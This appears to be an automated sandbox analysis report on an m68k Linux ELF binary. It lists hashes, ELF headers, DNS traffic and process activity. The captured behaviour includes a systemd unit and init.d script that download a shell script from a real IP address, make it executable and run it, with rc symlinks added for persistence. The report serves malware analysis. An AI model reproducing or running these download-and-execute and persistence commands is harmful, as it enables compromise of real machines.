                                  SHA-512:50E330A60E42EF795B2387E0296010AF2B3FEAE72EC09ED1F1E7E671B7A4EE30B097F30A428924C7AEE438EE0E6B1C8B6B8EBE60B8B685DB56EDD5942DED1D71
                                  Malicious:false
                                  Preview:[Unit].Description=Custom Binary and Payload Service.After=network.target..[Service].ExecStart=/tmp/m68k.nn.elf.ExecStartPost=/usr/bin/wget -O /tmp/lol.sh http://94.156.227.233/.ExecStartPost=/bin/chmod +x /tmp/lol.sh.ExecStartPost=/tmp/lol.sh.Restart=on-failure..[Install].WantedBy=multi-user.target.
                                  Process:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                                  File Type:ASCII text
                                  Category:dropped
                                  Size (bytes):76
                                  Entropy (8bit):3.7627880354948586
                                  Encrypted:false
                                  SSDEEP:3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
                                  MD5:D86A1F5765F37989EB0EC3837AD13ECC
                                  SHA1:D749672A734D9DEAFD61DCA501C6929EC431B83E
                                  SHA-256:85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
                                  SHA-512:338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
                                  Malicious:false
                                  Preview:PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.
                                  Process:/tmp/m68k.nn.elf
                                  File Type:ASCII text, with no line terminators
                                  Category:dropped
                                  Size (bytes):17
                                  Entropy (8bit):3.6168746059562227
                                  Encrypted:false
                                  SSDEEP:3:TgSC/ANln:TglOn
                                  MD5:CF5BFD6A623ECC046218AA0EBA4D8FE7
                                  SHA1:E3F0D3236A8D19B35DB7D7F81FECBA0A5D613E88
                                  SHA-256:C3A372684D6533CABFEC9940A5B0C21F5CD8C12CE9FECD07DE6D5C5E31C00560
                                  SHA-512:F2C31F4B0FA981357F508A6C3B32A3DAEDC609FDE9EC704411D022BE11643B7F6EC039421ACB9EDE5334ACA2A7F1068D5B55106F4BF46327A229E2A04D31547B
                                  Malicious:false
                                  Preview:/tmp/m68k.nn.elf.
                                  File type:ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
                                  Entropy (8bit):6.371319786509634
                                  TrID:
                                  • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                  File name:m68k.nn.elf
                                  File size:99'448 bytes
                                  MD5:ae09296332b4358674f59fa1fc446b23
                                  SHA1:b66fdf89a106268ab2abb96a9177bcc4d5cb98d6
                                  SHA256:32c1c5d94c3d075eb3a0aa7275dc840563b6c3342736806e3932b7b1e8de7799
                                  SHA512:a3fd6872af467dad3d576d86f52919a6d047e09c27b5763742a2a578264b980cc06d81be007b9c1f2e422efb26945c8d43de1141180d64f8357a2d5a20673eb8
                                  SSDEEP:1536:h6dJ0kUioNLFU0e0avsh1zaUAjsv8LVyNVTlIA8mrs7QDGgzb/qNnchAypP:McioN7avA1zaUAjs0yNVTlr+wGup2yZ
                                  TLSH:8DA34CCAF401CEBEF81EE6BB50270519B631A39156430F37A69B7D57ADB31980863EC1
                                  File Content Preview:.ELF.......................D...4.........4. ...(......................|...|....... .......|...............'....... .dt.Q............................NV..a....da...Y.N^NuNV..J9....f>"y.... QJ.g.X.#.....N."y.... QJ.f.A.....J.g.Hy..|.N.X.........N^NuNV..N^NuN

                                  ELF header

                                  Class:ELF32
                                  Data:2's complement, big endian
                                  Version:1 (current)
                                  Machine:MC68000
                                  Version Number:0x1
                                  Type:EXEC (Executable file)
                                  OS/ABI:UNIX - System V
                                  ABI Version:0
                                  Entry Point Address:0x80000144
                                  Flags:0x0
                                  ELF Header Size:52
                                  Program Header Offset:52
                                  Program Header Size:32
                                  Number of Program Headers:3
                                  Section Header Offset:99048
                                  Section Header Size:40
                                  Number of Section Headers:10
                                  Header String Table Index:9
                                  NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                  NULL0x00x00x00x00x0000
                                  .initPROGBITS0x800000940x940x140x00x6AX002
                                  .textPROGBITS0x800000a80xa80x159460x00x6AX004
                                  .finiPROGBITS0x800159ee0x159ee0xe0x00x6AX002
                                  .rodataPROGBITS0x800159fc0x159fc0x22de0x00x2A002
                                  .ctorsPROGBITS0x80019ce00x17ce00x80x00x3WA004
                                  .dtorsPROGBITS0x80019ce80x17ce80x80x00x3WA004
                                  .dataPROGBITS0x80019cf40x17cf40x5b40x00x3WA004
                                  .bssNOBITS0x8001a2a80x182a80x22180x00x3WA004
                                  .shstrtabSTRTAB0x00x182a80x3e0x00x0001
                                  TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                  LOAD0x00x800000000x800000000x17cda0x17cda6.38330x5R E0x2000.init .text .fini .rodata
                                  LOAD0x17ce00x80019ce00x80019ce00x5c80x27e05.05320x6RW 0x2000.ctors .dtors .data .bss
                                  GNU_STACK0x00x00x00x00x00.00000x6RW 0x4
                                  TimestampSource PortDest PortSource IPDest IP
                                  Dec 24, 2024 01:21:59.833574057 CET4569053192.168.2.138.8.8.8
                                  Dec 24, 2024 01:21:59.833625078 CET5650653192.168.2.138.8.8.8
                                  Dec 24, 2024 01:21:59.955869913 CET53565068.8.8.8192.168.2.13
                                  Dec 24, 2024 01:21:59.967021942 CET53456908.8.8.8192.168.2.13
                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                  Dec 24, 2024 01:21:59.833574057 CET192.168.2.138.8.8.80x431fStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                                  Dec 24, 2024 01:21:59.833625078 CET192.168.2.138.8.8.80x115dStandard query (0)daisy.ubuntu.com28IN (0x0001)false
                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                  Dec 24, 2024 01:21:59.967021942 CET8.8.8.8192.168.2.130x431fNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
                                  Dec 24, 2024 01:21:59.967021942 CET8.8.8.8192.168.2.130x431fNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

                                  System Behavior

                                  Start time (UTC):00:21:56
                                  Start date (UTC):24/12/2024
                                  Path:/tmp/m68k.nn.elf
                                  Arguments:/tmp/m68k.nn.elf
                                  File size:4463432 bytes
                                  MD5 hash:cd177594338c77b895ae27c33f8f86cc

                                  Start time (UTC):00:21:56
                                  Start date (UTC):24/12/2024
                                  Path:/tmp/m68k.nn.elf
                                  Arguments:-
                                  File size:4463432 bytes
                                  MD5 hash:cd177594338c77b895ae27c33f8f86cc

                                  Start time (UTC):00:21:56
                                  Start date (UTC):24/12/2024
                                  Path:/bin/sh
                                  Arguments:sh -c "systemctl enable custom.service >/dev/null 2>&1"
                                  File size:129816 bytes
                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                  Start time (UTC):00:21:56
                                  Start date (UTC):24/12/2024
                                  Path:/bin/sh
                                  Arguments:-
                                  File size:129816 bytes
                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                  Start time (UTC):00:21:56
                                  Start date (UTC):24/12/2024
                                  Path:/usr/bin/systemctl
                                  Arguments:systemctl enable custom.service
                                  File size:996584 bytes
                                  MD5 hash:4deddfb6741481f68aeac522cc26ff4b

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/tmp/m68k.nn.elf
                                  Arguments:-
                                  File size:4463432 bytes
                                  MD5 hash:cd177594338c77b895ae27c33f8f86cc

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/bin/sh
                                  Arguments:sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"
                                  File size:129816 bytes
                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/bin/sh
                                  Arguments:-
                                  File size:129816 bytes
                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/usr/bin/chmod
                                  Arguments:chmod +x /etc/init.d/system
                                  File size:63864 bytes
                                  MD5 hash:739483b900c045ae1374d6f53a86a279

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/tmp/m68k.nn.elf
                                  Arguments:-
                                  File size:4463432 bytes
                                  MD5 hash:cd177594338c77b895ae27c33f8f86cc

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/bin/sh
                                  Arguments:sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"
                                  File size:129816 bytes
                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/bin/sh
                                  Arguments:-
                                  File size:129816 bytes
                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/usr/bin/ln
                                  Arguments:ln -s /etc/init.d/system /etc/rcS.d/S99system
                                  File size:76160 bytes
                                  MD5 hash:e933cf05571f62c0157d4e2dfcaea282

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/tmp/m68k.nn.elf
                                  Arguments:-
                                  File size:4463432 bytes
                                  MD5 hash:cd177594338c77b895ae27c33f8f86cc

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/bin/sh
                                  Arguments:sh -c "echo \"#!/bin/sh\n# /etc/init.d/m68k.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting m68k.nn.elf'\n /tmp/m68k.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping m68k.nn.elf'\n killall m68k.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/m68k.nn.elf"
                                  File size:129816 bytes
                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/tmp/m68k.nn.elf
                                  Arguments:-
                                  File size:4463432 bytes
                                  MD5 hash:cd177594338c77b895ae27c33f8f86cc

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/bin/sh
                                  Arguments:sh -c "chmod +x /etc/init.d/m68k.nn.elf >/dev/null 2>&1"
                                  File size:129816 bytes
                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/bin/sh
                                  Arguments:-
                                  File size:129816 bytes
                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/usr/bin/chmod
                                  Arguments:chmod +x /etc/init.d/m68k.nn.elf
                                  File size:63864 bytes
                                  MD5 hash:739483b900c045ae1374d6f53a86a279

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/tmp/m68k.nn.elf
                                  Arguments:-
                                  File size:4463432 bytes
                                  MD5 hash:cd177594338c77b895ae27c33f8f86cc

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/bin/sh
                                  Arguments:sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
                                  File size:129816 bytes
                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/bin/sh
                                  Arguments:-
                                  File size:129816 bytes
                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/usr/bin/mkdir
                                  Arguments:mkdir -p /etc/rc.d
                                  File size:88408 bytes
                                  MD5 hash:088c9d1df5a28ed16c726eca15964cb7

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/tmp/m68k.nn.elf
                                  Arguments:-
                                  File size:4463432 bytes
                                  MD5 hash:cd177594338c77b895ae27c33f8f86cc

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/bin/sh
                                  Arguments:sh -c "ln -s /etc/init.d/m68k.nn.elf /etc/rc.d/S99m68k.nn.elf >/dev/null 2>&1"
                                  File size:129816 bytes
                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/bin/sh
                                  Arguments:-
                                  File size:129816 bytes
                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/usr/bin/ln
                                  Arguments:ln -s /etc/init.d/m68k.nn.elf /etc/rc.d/S99m68k.nn.elf
                                  File size:76160 bytes
                                  MD5 hash:e933cf05571f62c0157d4e2dfcaea282

                                  Start time (UTC):00:21:56
                                  Start date (UTC):24/12/2024
                                  Path:/usr/lib/udisks2/udisksd
                                  Arguments:-
                                  File size:483056 bytes
                                  MD5 hash:1d7ae439cc3d82fa6b127671ce037a24

                                  Start time (UTC):00:21:56
                                  Start date (UTC):24/12/2024
                                  Path:/usr/sbin/dumpe2fs
                                  Arguments:dumpe2fs -h /dev/dm-0
                                  File size:31112 bytes
                                  MD5 hash:5c66f7d8f7681a40562cf049ad4b72b4

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/usr/lib/systemd/systemd
                                  Arguments:-
                                  File size:1620224 bytes
                                  MD5 hash:9b2bec7092a40488108543f9334aab75

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                                  Arguments:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                                  File size:22760 bytes
                                  MD5 hash:3633b075f40283ec938a2a6a89671b0e

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/usr/lib/udisks2/udisksd
                                  Arguments:-
                                  File size:483056 bytes
                                  MD5 hash:1d7ae439cc3d82fa6b127671ce037a24

                                  Start time (UTC):00:21:57
                                  Start date (UTC):24/12/2024
                                  Path:/usr/sbin/dumpe2fs
                                  Arguments:dumpe2fs -h /dev/dm-0
                                  File size:31112 bytes
                                  MD5 hash:5c66f7d8f7681a40562cf049ad4b72b4